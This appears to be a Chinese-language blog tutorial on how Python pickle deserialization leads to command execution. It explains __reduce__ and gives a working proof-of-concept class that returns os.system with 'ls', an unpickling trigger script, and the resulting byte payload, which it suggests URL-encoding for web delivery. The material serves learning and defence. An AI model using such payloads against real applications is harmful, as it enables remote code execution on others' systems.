Tuuu Nya's Blog

Python Pickle命令执行漏洞原理

字数统计: 941阅读时长: 3 min
2019/06/04 Share

简介

Python的序列化/反序列化模块有两个,一个是Pickle、一个是cPickle,pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。 “Pickling” 是将 Python 对象和所拥有的层次结构被转化为一个字节流的过程,而 “unpickling” 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构。Pickling(和 unpickling)也被称为“序列化”, “编组” 或者 “平面化”。而为了避免混乱,此处采用术语 “pickling” 和 “unpickling”。

Python官方文档上也说明了:pickle 模块在接受被错误地构造或者被恶意地构造的数据时不安全。永远不要 unpickle 来自于不受信任的或者未经验证的来源的数据。

Pickle模块

Pickle模块有4个主要的方法,分别是:loadloadsdumpdumps

具体用法及传参请自行查看手册,以下简单介绍:

load

从文件中读取已序列化的数据并返回重建的对象结构。

loads

从字节对象中读取已序列化的数据并返回重建的数据结构。

dump

序列化对象并写入到文件中。

dumps

序列化对象并返回字节对象。


介绍完4 个方法,不得不提一下__reduce__魔术方法。

__reduce__

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。__reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);

也就是说,如果我们重写__reduce__并让他返回2 个元素,第一个元素为可调用的对象,比如os.system,第二个元素会被os.system当做参数调用。

构造基础Payload

根据上述的理论,我们可以写出来这样的代码pickle_poc.py

1
2
3
4
5
6
7
8
9
10
import pickle
import os

class Poc:
def __reduce__(self):
cmd = "ls"
return os.system, (cmd,)

poc = Poc()
pickle.dump(poc, open('poc.txt', 'wb'))

我们建立了一个Poc类,重写了它的__reduce__方法,返回了两个元素,第一个元素是os.system,第二个元素是个tuple,在反序列化的时候,ls命令应该会被执行。

我们使用pickle.dump方法将序列化后的字节写入了文件。

下面我们来写一个反序列化的脚本,来触发漏洞unpickle.py

1
2
3
4
import os
import pickle

pickle.load(open('poc.txt', 'br'))

首先执行pickle_poc.py生成POC,会发现当前目录下出现poc.txt

然后我们执行unpickle.py对该poc.txt进行反序列化:

然后就会发现命令被执行了。

但是目前的payload是二进制格式的,不太方便在实战中去利用,所以可以使用dumps方法来导出易于利用的payload,比如:

1
2
3
4
5
6
7
8
9
10
import pickle
import os

class Poc:
def __reduce__(self):
cmd = "ls"
return os.system, (cmd,)

poc = Poc()
print(pickle.dumps(poc))

使用dumps生成出来的payload是这样的:

b’\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.’

这样的payload就可以进行urlencode编码以后在web中进行发送了。

后话

本来想找个demo来演示的,但实在是找不到,也懒得写demo了。

本文主要还是理解一下pickle模块执行命令的原理,如果有理解错误的地方欢迎交流。

CATALOG
  1. 1. 简介
  2. 2. Pickle模块
    1. 2.0.1. load
    2. 2.0.2. loads
    3. 2.0.3. dump
    4. 2.0.4. dumps
    5. 2.0.5. __reduce__
  • 3. 构造基础Payload
  • 4. 后话